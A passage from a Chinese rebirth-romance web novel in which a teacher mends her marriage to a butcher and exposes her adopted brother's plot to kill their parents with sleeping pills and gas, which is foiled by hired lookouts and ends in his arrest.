温欣怡聊起了陈广志和黎玉琴的事,当然,是以旁观者的口吻来描述事情的大概。
“他们发生这样的事,你很开心吗?”许铭荣疑惑地问道,“你的好朋友黎玉琴不是也受伤了吗?你不担心吗?”
往日温欣怡和黎玉琴明里暗里蛐蛐他,许铭荣多多少少是知道的。
黎玉琴来家里一趟,许铭荣身上所背的唾骂重上一斤,以至于温欣怡看到他时脸色更臭。
循环往复。
他都习惯了。
温欣怡和黎玉琴闹掰了?
要按照以往,黎玉琴若是受伤或者想要什么的话,温欣怡早就急得团团转,或者想方设法满足好朋友的需求。
而如今黎玉琴遭遇了不好的事,温欣怡的态度不太对劲,他怎么感受到了她在幸灾乐祸?
有那么明显吗?
温欣怡顿了顿,旋即冷哼道:“我不要和她当朋友了,以后我和她势不两立!看到她过得不好,我就心情好。”
“你们之间发生了什么?”许铭荣曾经可是见过她们好得能穿同一条裤子、天下第一好的样子,现在这段友谊终于走到尽头了?
他很是好奇。
“她拿我当冤大头,我不愿意了。”温欣怡撇撇嘴,想到那些肮脏事,又不知该如何说起。
“呵呵,你现在才发现。”她能甩掉这个损友,许铭荣是乐见其成。
“你之前就知道她不是真心对我的了?”温欣怡疑惑。
许铭荣:“多多少少能看出她不是想你过得好。”
曾有过好几回,黎玉琴状似无意在许铭荣面前上眼药,眼神鄙夷,阴阳怪气——
“欣怡在外面可招人喜欢了,上次有个老板送了她一个名表,说要和她交朋友……还好嫁了给你这样的老实人,不介意别人养你的老婆。”
“欣怡整天看你眼不是眼,鼻子不是鼻子,你一点儿都不生气?要是别人家,早就一天三顿打了。你长得那么高大,没想到会被一个女人压制,一点儿男人气概都没有,怪不得欣怡不喜欢你。”
“你和欣怡就是两个世界的人,不如早分早好,你们过日子相看两厌,我作为她的好朋友,真心劝你放过她,好聚好散。”
“……”
想到那些话,许铭荣对黎玉琴的印象就好不到哪里去的,认为温欣怡对他的态度那么差,黎玉琴起码贡献了一半“功劳”。
如今俩人闹掰,真是可喜可贺。
“黎玉琴,她真的好坏!”说起来,心头不禁又是一阵火起,温欣怡恨得牙痒痒的,恨不得回到过去,甩她一巴掌,再甩自己一巴掌。
识人不清!
引狼入室!
活得糊里糊涂,死得凄凄惨惨。
“先吃饭,我们吃完再说。”许铭荣见她义愤填膺的样子,怕再说下去影响胃口,连忙劝慰道。
“好吧,我有好多话想跟你说。”化愤怒为食欲,温欣怡扒着米饭进口,两腮鼓囊囊的。
*
饭后,两人配合刷完碗,温欣怡看了看天色,提议道:“我们去散步吧。”
“确定?”许铭荣不确定地问。
和她散步真是个新鲜的体验。
“走走走。”温欣怡挽上他的胳膊,拉着往外走。
落日余晖,大地万物镀上了一层暖黄,温柔的晚风拂过,路边的野花野草轻轻摇摆,清新的空气沁人心脾。
真怯意啊!
“猪肉荣,温老师,你们这样挽着手走,真是恩爱啊!”
“两口子真腻乎,别教坏小孩。”
“这就腻乎了?你晚上和你男人在床上大战那才叫腻乎,挽个手能教坏什么小孩?猪肉荣,温老师,坐下来聊几句呗。”
“哈哈哈,就是就是,现在可不像旧社会,男女走近一点都不行。”
“……”
村口小卖部的榕树头,“八卦组”聚拢在一起聊着那家长这家短,见到许铭荣和温欣怡走过来,不约而同将话题扯到了两人的身上。
“我们去前面走走,你们聊。”许铭荣在众人打趣的目光中,硬着头皮说道。
两人继续往前走。
他们聊得太露骨了,身后隐隐约约还能听到讨论说许铭荣肩宽背厚本钱足,说温欣怡胸大腰细屁股翘,妖精打架有多精彩……
温欣怡听得面红耳赤,嘴长在别人身上,这种事又不好上前争论,只好走快点,离远点,听不到就当作不知道。
半晌,脸上的红晕散去,温欣怡说起了和黎玉琴的事,包括当初是她使坏才让两人阴差阳错睡在了一起。
“以前我真是眼盲心瞎,黎玉琴不怀好意,我怎么就没发现呢?!”温欣怡忿忿道。
“是她啊。”
两人开诚布公聊开,随着真相的揭露,许铭荣背上的锅一口口卸下去,心情也愈发轻松。
温欣怡叽里呱啦说了一大堆,说到发现黎玉琴暗中配合陈广志,觊觎她□□时,又是愤怒又是后怕,语气都越发冒着火。
“你应该早跟我说的。”许铭荣听着,一股无法遏制的怒火自心头升起,觑了她一眼,没好气道,“你这被卖了还替人数钱,傻不傻?”
“我以为他们都是好人。”温欣怡闷闷道,“我醒悟过来了,以后不会了。”
“你除了我,对谁都好。”
这短短的一句,温欣怡听出了其中委屈,顿感心虚,赔笑道:“那时我以为你是坏人来着。”
“呵呵。”许铭荣无话可说。
“是我有眼无珠看错了人,你是大大的好人,别生气。”温欣怡摇晃着他的胳膊,保证道,“以后我会加倍对你好的,我们好好过日子。”
“没生气
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。”许铭荣说道,“要真和你生气,我早就气死千回百回了。”
因为温欣怡是他的老婆,只要没有犯下什么过界的过错,许铭荣对她向来包容。
哪怕她不是他理想的妻子,但既然她嫁给了他,他愿意承担起相应的责任来对她好。
她的好坏脾气,他愿意照单全收,即使有时她真的伤到了他的心。
他都舍不得伤害的人,那两人竟然有这龌龊念头。
一时之间,许铭荣脑海中浮现出各种教训陈广志和黎玉琴的手段,突然,灵光一闪,谢凯的面容跳出来。
联想到温欣怡最近和他有所牵扯,许铭荣问道:“陈广志和黎玉琴出事,是不是谢凯干的?”
温欣怡为他的敏锐感到心惊,本想打哈哈糊弄过去,但对上他关切认真的目光,那些转移话题的俏皮话说不出口了。
她点了点头。
许铭荣会觉得她报复的手段过于残忍吗?会认为她是个恶毒的女人吗?会害怕她远离她吗?
“遇到事,你为什么不找我?”许铭荣再问。
他这反应……
是责怪?是愤怒?
温欣怡愣了愣,直言道:“我觉得自己能找人解决。”
“你喊我老公,但你真的当我是你的老公吗?温欣怡,围绕在你身边的男人那么多,你今后真的要和我好好过日子吗?”许铭荣敛起神色,说出的话像一把利剑刺来。
“我所认的老公,自始至终都是你。过往是我对你不好,但沾我身的男人只有你,别人的喜欢又不是我能控制的。”温欣怡说着,脸色也冷下去,“许铭荣,你在介意什么?如果你觉得我遇事不跟你商量,以后我改就是。”
“谢凯喜欢你,你知道吗?”许铭荣问。
这一句反问,让温欣怡的表情变得僵硬起来:“知道。”
她继而补充道:“但我和他说开了,以后就当朋友来处,不会有越矩的行为。”
“你一定要有这个朋友吗?”许铭荣再问。
温欣怡:“我和谢凯从小一起长大,要是有什么,哪还会嫁给你。你要是不喜欢我和他来往,待此事结了,我会远离他的。”
“不用,你爱和谁来往就和谁来往,从前你不曾在意我的想法,今后也不必理会我的感受,你爱交什么朋友就交什么朋友。”许铭荣说完,甩开她的手,走了。
他阔步往回走的背影透着一股气鼓鼓的劲,温欣怡看着心里也憋屈得很,并没有觉得请谢凯帮忙是做错了。
从小到大,美貌给温欣怡带来了很多“隐形优待”——
例如和爸妈出门去买东西,一些老板见她长得可爱,总爱拿零嘴逗她;
在学生时代,有次她参加了演讲比赛,和另一个女生实力相当,学校领导权衡之下,因她样貌出众,最终将去市里参赛的名额给了她;
生活中做错了事,有时她还没道歉,别人就已经主动找好理由原谅她了;
和别人去拍照,照相馆老板愿意免费给她拍,还想让她当模特宣传;
……
久而久之,在不伤害别人也不出卖己身的前提下,温欣怡习惯了利用美貌来为自己谋福利,将男人的青睐当作是方便做事前行的利器,她一向很擅长。
只不过她也会看哪些男人是不能招惹的,温欣怡没有盲目大胆到来者不拒照单全收。
看在小时候的情份上,温欣怡觉得谢凯是值得信赖,且他今时不同往日,教训陈广志于她而言是个大难题,但对谢凯来说不过是举手之劳。
暗害别人不是什么光彩的事,她不想拿这些摆在许铭荣面前,难道有错吗?
温欣怡不认为自己有错。
16. 粗鲁屠夫VS傲慢老师
两人本来有所缓和的关系,自那次争辩后,再次回到了见面当对方是隐形人的状态。
温欣怡想递台阶与许铭荣和好当对恩爱的夫妻,但他并不领情,臭着脸好似她做什么都看不顺眼。
对上许铭荣那冷冰冰的眼睛,一次两次,温欣怡觉得他太难哄了,加上这阵子事多,而且谢凯才帮完忙,她也不好意思立时过河拆桥、翻脸不认人,于是没再继续舔着脸哄他。
在谢凯的帮助下,派人跟踪温伟华时,发现他最近买了一些安眠药,这一举动引起了温欣怡的怀疑——
前世爸妈睡得那么沉,是不是有安眠药的作用呢?
温欣怡没有打草惊蛇,捉贼拿赃,要想家里和温伟华断得干净、让爸妈对他死心,她说再多他的不好,都不如让他们真真实实体会他的卑劣行径。
当谢凯又一次找上门和温欣怡汇报情况时,本来打算出门的许铭荣往屋里走,拿出一把刀在院子的水井旁磨。
“嘶嘶嘶——”
院子里,磨刀石摩擦刀刃的声音传入耳膜,听着像是某人的情绪,裹挟着怒火要发泄什么或者要向谁示威什么似的。
谢凯瞧了瞧许铭荣,又看了看温欣怡,说道:“要不去其他地方聊?”
之前他们聊时许铭荣没有在场,温欣怡不想自己算计别人时,被他看到这一面,也有意避着他。
但现在和平被打破,许铭荣已经知道了她和谢凯都不是什么好人,温欣怡没再想瞒着他。
想到许铭荣对谢凯的介意,以及他埋怨自己有事不跟他说,温欣怡径直走到他的面前:“喂,过来。”
喂什么喂?之前【老公】叫得多甜,现在喊喂就有多无情。
磨刀的动作顿了顿,许铭荣还想拿乔一下,但见温欣怡不再多说,走回去坐好了。
到嘴边的话咽了下去,抬眼看去,见谢凯正笑着和温欣怡分享什么好吃的。
“呵。”
许铭荣冷笑着舀水冲了冲手和刀,旋即向他们走去,将一张椅子拉过来,很有存在感地在两人之间坐下了。
“看我干什么?你们聊你们的。”许铭荣不客气地伸手拿起石桌上的一块糕点品尝,咽下去之后,还饶有兴味地点评道,“味道不错,托某人的福,我也能吃上这样美味的糕点了。”
“你别阴阳怪气!”温欣怡没好气地瞪了许铭荣一眼,他这醋吃得真是没道理,她和谢凯清清白白光明正大谈正事呢,他这话说得大家都尴尬。
“小的时候,欣怡就爱吃万珍糕的糕点,那时候没那么多钱买不起来吃,现在我把店铺买下了,欣怡以后去买,报我的名就行,想吃多少都可以。”谢凯瞥了许铭荣一眼,没将他放在眼里,打心底觉得他配不上温欣怡。
“呵,谢先生真厉害,真有钱。”许铭荣对谢凯为达目的不择手段的坏名声也有所耳闻,面带讥讽道,“谁知道你的钱干不干净?是不是吃人血馒头?”
“行了行了,都别说这些。”现在两个男人争锋相对是要摆到明面上了吗?温欣怡脑壳疼,赶紧将话题转移到温伟华的身上,看向谢凯问道,“你说温伟华昨天回家了?”
“嗯,他大包小包买了好多东西,对你爸妈很是关心,村人都夸他是大孝子……”谢凯将收集到的信息尽数告知予她,最后点评道,“他看着像是真心的,不像有害你爸妈的歹心。”
许铭荣听到这,眉头皱了皱。
温伟华?什么真心歹心?
在许铭荣的印象中,温伟华这个小舅子是个谦逊有礼、关爱家人、前途无量的小伙子,他办养猪场需要办一些证件,是温伟华跑上跑下帮忙办妥的;偶尔碰见时,温伟华也会热情地与他打招呼;对温欣怡也很维护,逢年过节送礼过来时,话里话外总要他多包容、照顾她。
这样的人,许铭荣突然听到说他要谋害养父母的话,下意识觉得这是污蔑!
“不可能!温伟华不是那种人!你们这是主观上的猜测!”许铭荣看向温欣怡,说,“他是你弟弟,这么多年他是怎样对你的,你应该最有体会。”
“是啊,他对我的那些好我都记得,可现在他就是想害我一家,很可笑吧。”温欣怡苦笑。
“放心,我不会让他有伤害你和温叔温姨的机会。”谢凯登时表明立场,“我相信你说的都是真的。”
在社会摸爬打滚这么多年,有了现在的地位,谢凯可谓是见多了人性阴暗面,衣冠禽兽斯文败类比比皆是。
温伟华最好没有害人的歹心歹行,不然落到他的手上,保证能让人生不如死。
“你派去监视的人千万不要被他发现了。”温欣怡忍不住叮嘱道。
“嗯,他们监视人是专业的,别担心。”谢凯说,“温叔温姨那边我也派人暗中保护起来了,一有不对劲,他们能立刻察觉的。”
“那就好,还好你能帮我,以后有我帮得上的地方,尽管说。”温欣怡满是感激。
“客气了。”谢凯笑了笑,怕温欣怡有心理负担,继而说道,“我也不想温叔温姨出事。”
聊完温伟华的事,话题转移到陈广志和黎玉琴那边来。
因为陈广志一家得罪的人不少,查来查去,并没有查到温欣怡和谢凯的身上。
抓不到凶手泄恨,听说陈广志每天在医院无能咆哮,精神堪忧。
因黎玉琴孕有一子,因陈广志的命根子发挥不了作用了,她在陈家的身份地位一下子高起来,平日里少奶奶的派头十足,衣食住行样样讲究奢侈精致。
黎玉琴面对陈家人时是伏低做小温柔小意,对外却颐指气使,狐假虎威那套演绎得淋漓尽致。
陈家人看在孙子和她对儿子照顾得当的份上,对黎玉琴的所作所为睁一只眼闭一只眼,顶多腹诽几句小人得志上不了台面,没想着规训她的所作所为。
没想到这一纵容,有一天,黎玉琴逛服装店时,遇见一位穿着打扮看起来土里土气的姑娘,因为一件旗袍起了争执,她当场骂人家说脚下的泥脏了服装店的地板,身材干瘪撑不起旗袍,头发稀得像荒漠的草,额头凸得好比寿星公,嘴大得像要吃小孩……
那天,在陈广志受了气,正好和这么一个看起来软弱可捏乡下人撞上,黎玉琴化身为机关枪,嘴巴突突就是一阵扫射。
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>将那姑娘骂得眼泪汪汪,尊严扫地,黎玉琴心中的那股郁气才消散了,拍拍屁股走人。
只是黎玉琴这一回撞到枪口上了,那姑娘是出生时被保姆调换到乡下长大的真千金,最近才被找回来。
姑娘的爸妈是县委书记,为了弥补她这些年所受的苦,对她是有求必应。
当得知自家姑娘受了那么大的委屈,那是万万不能忍的,县委书记派人将黎玉琴查了个底,了解到她所依仗的是在教育局工作的副主任,连夜调查,一番操作后,拔出萝卜带出泥般将陈家的势力推了下台。
当看到公公被戴上手铐、家里被翻了个遍,那些值钱的东西尽数被搜刮出上缴,黎玉琴傻了眼,说是天塌了都不为过。
抓捕的人来势汹汹,打了个措手不及,她就是想收拾些细软藏起来都不行。
由于黎玉琴每晚睡前都要数一下自己所拥有的钱财珠宝,就藏在床底下的一个箱子里,可以说,那些人不费吹灰之力就将她辛辛苦苦攒的全部家当找出,她当场冲上去想抢回来。
结果可想而知,除了被暴揍一顿,并没能抢回一分一毫。
公公被查出在位期间,利用职务之便,贪污巨大,且手上沾了两条性命,被判处死刑立即执行。
保护伞没了,其余的陈家人虽然没有被抓进去坐牢,但一朝从云端的富贵窝坠落,为了活下去,不得不干起了肮脏劳累的体力活。
见没了福享,且去了势的男人心理愈发变态、行事愈发偏激,陈广志整天疑神疑鬼,对她非打即骂,黎玉琴受够了,寻机连夜遁逃。
不过走之前,黎玉琴还留了一封信,字里行间将他被害成太监的幕后指使人往温欣怡的身上引,猜测说是她察觉了他的心思,才先下手为强。
而且他为讨好温欣怡,出钱又出力,付出那么多,不收点利息可惜了,温欣怡从头到尾都看不起他,之前还跟她说是吊着他,骂他是大傻子云云。
字字句句,激发了陈广志心底最大的恶意,被仇恨蒙蔽了眼睛,扭曲的心理让他恨不得拉着温欣怡下地狱。
特别是有次想对温欣怡下手时,没想到暗中有人保护她,发现他的歹意后,他被打瘸了一条腿,陈广志更加怨恨,也更加确信温欣怡就是黎玉琴所说的那种人。
陈广志不得不蛰伏起来,想着下次一定要一击必中。
他目前动不了温欣怡,但也不想放过黎玉琴,所有看不起他的女人都该死!
支撑他活下去的信念就是要杀光那些坏女人。
“黎玉琴!去死吧!”
黎玉琴没了教师这份工作,从陈家逃离出来后,她不想再过那种有上顿没下顿的穷苦生活,当上了陪酒女。
当某夜下班,走在路上时,见陈广志举着一把刀冲过来,黎玉琴简直要吓破胆了,尖叫着迈腿就跑。
要不是在紧要关头,有个好心人路过救下她,真的会当场毙命。
陈广志竟然想杀她,真是疯了!
这一次能死里逃生,下一次可不一定。
此地不宜久留,黎玉琴搭上一个老板,连夜偷渡到港城,开启了新生活。
17. 粗鲁屠夫VS傲慢老师
当温伟华提着礼品回到家,再一次听到温爸爸和温妈妈在耳边絮叨说——
“有本事的男人都是在外搞事业挣大钱,不惦记家里那一亩三分地。伟华你是个有本事的,将来你姐还需要你多多照顾,她没你厉害,到时要是日子过不去了,家里的房子留给她不至于流落街头。”
“你谈的对象在教育局上班,有没有门路调欣怡到那边工作,还是坐办公室舒服,老师要整天说话,我怕欣怡的嗓子迟早有天要坏,就是塞点钱搞进去也好。”
“你上次买回来的人参阿胶,我拿了一些给欣怡,她说吃了对身体很补,下次你再多买些回来。”
“……”
话里话外全是对温欣怡的关心,夸赞他也不过是让他们的女儿争取到更多的资源。
他不过是让温欣怡生活过得更好的阶梯或工具。
这一点,温伟华早已看清了。
之前是他渴望亲情愿意讨好他们那一家,但现在他不愿当血包了。
养子也是子,该属于他的,他不会再拱手相让。
既然为人父母不能一碗水端平,那就不要怪他心狠手辣。
温伟华笑眯眯着应承了温爸爸和温妈妈的嘱咐,按照以往那般,从言语到行动都关切二老的身体,让他们多注意休息、不要劳累之类,也答应回头就问问对象能不能将温欣怡搞到教育局云云……
任谁看了都要夸他是一个父母孝顺的儿子、对姐姐爱护的弟弟。
温伟华在对外塑造自己良好形象这方面,一直都很注重。
当听说温家村有盗贼出没,有好几家被偷了家禽,还有一户比较富裕的人家,更是被撬锁,偷去了柜子里的好几千和金项链金戒指。
有个晚上,有个人在外务工回来,没想到在村口被劫去了辛苦半年的工钱,还被打了一顿,那劫匪蒙着脸,行动很快,夜色又太黑,看不清人有什么特征,最后哪怕报警了也不了了之。
一时之间,人人自危,家家户户将门和窗加牢加固,天刚擦黑就不敢在外面逗留了。
温伟华听到这些消息时,一个计划在脑海中形成——
他先是对外说自己最近整夜整夜睡不着,神经都衰弱了,没办法,只能让医生开安眠药吃才得以入睡。
接着在一个工作日的夜晚,约了一个男同事到宿舍喝酒放松,制作不在场证明,等同事喝得烂醉睡着后,他乔装打扮一番,趁夜色回了家。
*
“唉,不知道最近欣怡怎么总看伟华不顺眼,对我们多好的一个孩子,怎么到她口中,就是想要害我们的命?”
“要是伟华知道欣怡这样想他,不知道该多伤心。”
临睡前,温妈妈想到姐弟俩,怕他们之间的隔阂越来越深,反目成仇,不由得叹气。
温爸爸在肩胛区敷上温伟华带回来的膏药贴,想到这也是一阵头疼:“你们母女比较好谈心,你好好跟闺女说说,看是不是伟华做了什么让她不开心的。”
“那我再去探探她口风。”温妈妈转了话题,“最近村子不太平,欣怡今天打电话过来说要不我俩去她那住一段时间。”
“你去就好,我一个老丈人去女婿家住像什么话!那盗贼要敢来,我叫他有去无回!”温爸爸在屋里屋外都设置了一些陷阱机关,还专门买了一把大刀在床头放着,安全感够足。
“那我明天过去,你自己在家能不能搞定?”温妈妈问。
温爸爸:“放心吧,我又不是残废,可以顾得了。”
“啊——”
温妈妈还想叮嘱一些事项,突然听见门外传来一声低呼。
温爸爸和温妈妈的心登时提起来,看了对方一眼,饶有默契地拿起武器——刀和锄头,脚步放轻,来到院子门口。
“爸,妈,睡了吗?是我,伟华!开开门,我脚被老鼠夹夹住了。”
“是伟华。”温妈妈放下锄头,赶紧开门。
“你这孩子,怎么这时候回来?”
就着月光,见温伟华跌坐在地上,捂着受伤的脚呼痛连连。
温伟华:“这不是听说村里闹了贼,回来看看你们。我买了几把大锁,还弄了两根电棍,有备无患。”
听听,多贴心孝顺的孩子。
被人关爱是幸福的,二老感觉此刻一股暖流自心间淌过,再看温伟华受伤的脚,不由得心疼愧疚,一个赶紧搀扶起他往屋里走,一个将旁边的自行车推进院子。
好在温伟华躲得快,老鼠夹只夹到了大拇趾,受伤倒不重,就是很快充血肿起来,看起来有点严重。
涂了药酒,温伟华像往常和温爸温妈聊了一会彼此的近况,在他们忙着研究电棍时,不动声色地冲了三杯麦乳精,悄悄将安眠药粉倒进其中两杯,搅了搅。
“这个喝了有营养,买了不喝就是浪费,你们不要舍不得。”温伟华一副关心的模样,将杯子递出。
“知道知道。”
对于儿子的好意,二老没有辩驳,接过水杯慢慢喝起来。
见此,温伟华嘴角露出一抹诡异的笑容,但眨眼之间,他又换回温顺无害的表情。
以看看哪里需要加固修葺的名义,温伟华在屋里转了转,将木架松了的窗户修好关紧,再来到屋里煤气灶前,借身体的遮掩,往煤气灶的开关拧了拧,才又装模作样。
最后温伟华以明早还要开会为由,哪怕二老再三挽留,他也还是坚持要走。
没法,二老只好叮嘱他多注意安全,要是真遇到坏人打不过,不要以命相搏云云。
温伟华点头,推来自行车,在他们的目光中,挥挥手:“爸妈,我走了,你们早点睡,记得关紧门窗。”
“好,你骑车小心点,下次不要在晚上回来了,我和你爸在家都好好的,不用担心。”温妈妈说。
“嗯,拜拜。”温伟华蹬上脚踏,自行车向夜色中驶去,很快就没了身影。
“吱呀——”一声,门再次关上。
一阵窸窸窣窣的声音后,房间里的灯光熄灭了。
皎洁的月光下,人们进入了梦乡,村里格外宁静。
这时,一个跟踪温伟华来到温家的黑衣人从躲藏的大树后走出,“呱呱——呱呱呱——”有规律地叫了几声。
半晌,一个女黑衣人闻声而来,交流着情报:“目前二老没有出现什么状况,一切正常。”
“温伟华有异常,这么晚从镇上回到这里,太不正常了。”因为大哥提醒说儿子有可能弑父弑母,先入为主,男黑衣人觉得温伟华干什么动机都不纯。
“温伟华不像那么坏的人。”女黑衣人在村里这段时间,她是以回娘家照顾父母的名义留下来的,在有心设计之下,她和温妈妈成了朋友,平时也会串门聊天,温妈妈很喜欢炫耀儿女有多好多好。
有次温伟华放假回家时,对温爸温妈嘘寒问暖不似作伪,女黑衣人看在眼里,这会儿听说他连夜赶回来,想也是担忧父母安全,忍不住为他辩驳一句。
“哼!知人知面不知心,再观察观察。”
“那现在,我们继续蹲守还是……”
“我想进屋看看。”男黑衣人直觉有问题,但又说不出哪里有问
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题。
“这么晚了,不好吧,要不明早再过来。”女黑衣人看他跃跃欲试想闯进去,提醒道,“屋里设了一些机关陷阱,你又不知道在哪个位置,这样闯进去,待会人家将你当贼抓起来我可不管。”
“你去敲门。”
“大晚上的,我以什么理由敲人家的门?”
“随便。”
“……”
见他是不到黄河不死心的犯犟样,女黑衣人叹了口气,往温家的大门走去,敲了敲。
男黑衣人听着那敲门声好比绒球打锣,里面的人肯定是听不到一点的。
“嘭嘭——嘭嘭嘭——”男黑衣人径直走过去,大力拍起来门来。
许久,没听见里面有什么动静传来。
“我还是偷溜进去瞧瞧。”男黑衣人从挎包里掏出一根带挂钩的绳索,来到围墙处,一甩,勾住,一爬,一跃,稳稳落地。
好在今晚月光够明亮,多注意的话还是能发现院子里陷阱的痕迹,他小心翼翼地避开,敲了敲客厅的门。
鼻翼间隐隐约约有股怪味传来,猛地嗅了嗅,像是臭鸡蛋散发出来的,心中不好的预感愈加强烈。
门很结实,窗户也很牢固,男黑衣人又喊了几声,屋里还是没什么动静。
思量了一下,他掏出一把斧头,往窗架上砍去。
一下、两下……不过几下,“咔嚓”一声,窗架散落下来。
“好臭!”黑衣人三下五除二跳进屋,边喊边往房间里去。
“嗷!”冷不丁踩中了一个老鼠夹,他忍着痛来到床边。
两个老人都昏迷了,怎么叫都不醒,现在以他一个人的力量肯定是无法救出的,踉跄着去开了大门,让女黑衣人赶紧去喊人来帮忙。
很快,几户人家的灯亮起来,一辆小四轮载着人往医院的方向去。
道路颠簸,在摇摇晃晃中,男黑衣人感受着脚掌传来的疼痛,心想着要是二老没事的话,大哥会有什么奖励呢。
而另一边,温伟华回到宿舍,假装是刚方便回来,抹黑着倒了一杯水喝,紧张的心情缓解许多。
听着同事饶有节奏的呼噜声,可见睡得正香。
“嘭——哐啦——”
刺耳的爆裂声在寂静的夜里乍响。
“怎么?什么东西爆炸了?”同事从睡梦中惊醒。
“痛痛痛!热水壶摔地上了!”
同事摸索着墙拉了一下灯的开关线,黑暗一下子被驱散,只见温伟华的脚下是碎了的内胆,水洇湿了一大片地面,还要热气往上冒。
“我刚方便回来,想喝点水,没想到不小心……”极致的痛感叫他面容都扭曲起来,温伟华喊道,“快,快帮我接点凉水来冲冲。”
“你这脚看起来烫得好严重,要不我现在送你去医院看看吧。”同事看着他的脚红了一片,还有伤口流血了,建议道。
“不用,你帮我去那柜子上拿药涂涂就好。”温伟华示意道。
同事没做多想,边拿药边说:“你这样明天也上不了班,我帮你请假。”
“行。”
上了药,打扫干净地面,如此折腾一番后,温伟华被搀扶着去睡觉,黑暗再次将人拖向梦乡。
旁边呼噜声再次响起,温伟华还睁着眼,一想到以后再不用听那些“照顾姐姐”的偏心话,亦不用再违心地向二老献殷勤装孝子,不由得咧嘴无声笑了。
等到结婚之后,他就搬到岳父那边住,想到凭借岳父的权力,他的仕途会一片光明。
梦中,他升官发财,好不得意!
18. 粗鲁屠夫VS傲慢老师
当警察以犯罪嫌疑人的罪名来宿舍逮捕他时,温伟华整个人都懵了,他设想过很多一个孝子在得知父母出事时该如何表现的场景:
初闻噩耗——惊愕不已——难以置信——痛哭流涕——
情感层次层层叠加,任谁都挑不出他一处错。
绝不是现在这样——
温欣怡指控他是谋害父母生命的凶手,且说已经掌握了证据,那言之凿凿且憎恨模样不似作伪。
警察粗鲁地将他拷上手铐,大力地推搡着他往门外走。
听到动静的人们纷纷探头来看,议论纷纷。
“我冤枉啊!我要去见爸妈!欣怡,你为什么要这样对我?”温伟华快速调整表情,大声喊道。
脑海快速回忆种种细节,究竟是哪里露了马脚?
温伟华觉得他们并没有掌握什么实际证据,不过是在诈他,压下心底的不安,露出一副被冤枉的无辜表情。
然而当他坐在审讯室,警察将作案经过加认证物证一一列举出来时,千言万语被堵在喉咙,狡辩在此时显得很可笑,脑袋一片空白,再无法理智思考。
亏他还以为此计天衣无缝,还以为孝子贤弟的形象在温家人心目中毋庸置疑,没想到在他暗搓搓计谋着家破人亡的事宜时,温欣怡对他早有提防。
事已至此,辩无可辩,唯有将伤害降到最低。
他惊慌,他失措,他认错,他求原谅,他诉说委屈,他是一时糊涂……
但显然温欣怡并没有原谅他的打算,那咬牙切齿的表情彷佛要将他千刀万剐,她说今后一刀两刀,责骂他是个忘恩负义的小人……
幼年受过的恩义,难道他要用一辈子来偿还吗?他不服!他早就还完了!
他不是牛,给一点草吃就任劳任怨,他不过是想要相对应的回报,可他们总想着压榨。
该死的是他们!
得知温爸温妈抢救成功,为不用成为杀人凶手松了口气的同时,温伟华觉得前途渺茫了,想着怎么脱身、挽回受损的名誉。
如果对象的爸爸愿意出面救他的话,或许这事能平。
只是他的对象是个傻白甜,但她的爸爸不是,被分手在预料之中,这个牢,他坐定了。
……
一切尘埃落定后,温爸和温妈死里逃生,经过一番治疗,身体也在慢慢恢复。
他们想去探监,想求证温伟华平日相处的点点滴滴都是逢场作戏吗?有如此怨怼,他早说啊,还以为那些付出是他甘之如饴呢。
难道偏爱亲生的有错吗?
他不说心里话,他们怎么知道他的心里所想。
但温伟华并不想见他们,也无话可说。
新的一天,太阳照常升起。
日历又撕了一页,为了庆祝二老出院,大家决定聚一聚撮一顿。
“温叔温姨,早上好,我带朋友来凑凑热闹。”谢凯来着两个人走进院子,打招呼道。
“人来就好了,还带那么多东西。”温妈笑着上前接过礼袋,示意道,“坐下先喝喝茶。”
院子里,温欣怡正坐在小板凳上剥蒜,见到来人,也点头笑了笑。
许铭荣在不远处忙活着给鱿鱼切花刀。
“我来帮忙。”谢凯走过去蹲下,拿起一颗蒜头。
“这里压水需要一个人。”许铭荣说。
温欣怡:“去吧。”
“好吧,听你的。”谢凯放下蒜头说。
他是在撩她吗?
温欣怡不由得看了一眼许铭荣的方向,见他也正望过来。
心虚般,温欣怡先移开了视线。
她可没做什么,是谢凯说些似是而非的话撩拨人心。
这样下去肯定不利夫妻感情,温欣怡感到一阵头疼,决定还是找个时间和谢凯打开天窗说亮话。
温妈朝温爸挤挤眼,看看这个,瞧瞧那个,心底的天枰开始往谢凯的身上移。
谢凯对女儿的情意有目共睹,他这么晚还没结婚,是不是因为爱而不得,不愿将就?
鬼门关走一趟,二老也看开了,凡事强求不得,感情讲究的是情投意合。
温欣怡以往厌恶许铭荣的形象在二老心中留下了深刻印象,虽然现在两人看着感情挺好,但过阵子又闹掰了也说不定。
谢凯能力不俗,相信是能够让女儿过上好生活的。
许铭荣也很优秀很有心,这么多年,对女儿没得说。
……
二老在那边纠结,感叹着要是两个都是女婿就好了。
“我们想再多也无用,看女儿怎么选。”温爸决定不再想,为人父母,能给孩子兜底就好。
许铭荣和谢凯为展示自己厨艺,轮流炒菜,两人之间的暗流涌动,旁人也很感受到。
眼见两人为争夺欣怡的注意,他说这个话题,他聊那件事,她答都答不过来。
温爸端起酒杯和许铭荣干了,温妈扯过谢凯和他研究鸡的一百种做法。
不好顾此失彼的温欣怡总算是可以歇一歇,安静吃饭,想着下次还是不要将这两个男人凑一起了。
暗地里,温妈拉过温欣怡到房间,警告道:“你不要当那花心大萝卜,要是真看上了谢凯,也要在离婚后才好谈对象。”
“妈,我都说了不会和铭荣离婚,我以前不喜欢谢凯,现在也不喜欢,以后更不会喜欢。”温欣怡义正言辞表明不会离婚的决心,再三强调跟谢凯只是朋友,不会有进一步的发展。
温妈见她神情认真,说:“行吧,你没这个心思,就不要给人家希望,以后你跟谢凯少接触。”
“知道。”
为报救命之恩,温爸温妈在村里对谢凯的妈妈更加照顾,两家的关系也走得更近了。
而谢凯在多次看到温欣怡和许铭荣的亲昵举动后,那氛围不是他能插进的,终于死心了,再次专注于事业。
*
这段时间,父母安康,工作顺利,和许铭荣之间的感情日渐加深,温欣怡可谓是顺心如意。
这天,许铭荣欲言又止,温欣怡好奇道:“怎么了吗?有什么事吗?”
“我妈说这周末过来看看,方便吗?”
温欣怡想起和婆婆的二三事,脸不由得一红,羞愧所致。
许铭荣的妈妈是个勤劳的农村妇女,没识几个字,行事风风火火,没什么边界感。
温欣怡嫁进来后,和许家人住在同一屋檐下,作天作地,活脱脱一个讨厌鬼——
整天臭着脸、不爱与他们交流、吃饭端去房间、嫌这嫌那……别人碰到一点点她的东西,就阴阳怪气怼人。
许妈好心要帮她洗衣服,温欣怡还责怪她
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手粗用力洗坏了衣服。
还说娶她当儿媳妇,就要做好这一脉断子绝孙的准备。
……
宽以待己,严以律人。
说的就是那时候她的做派。
现在想来,那时候的她太不懂事!太没礼貌!
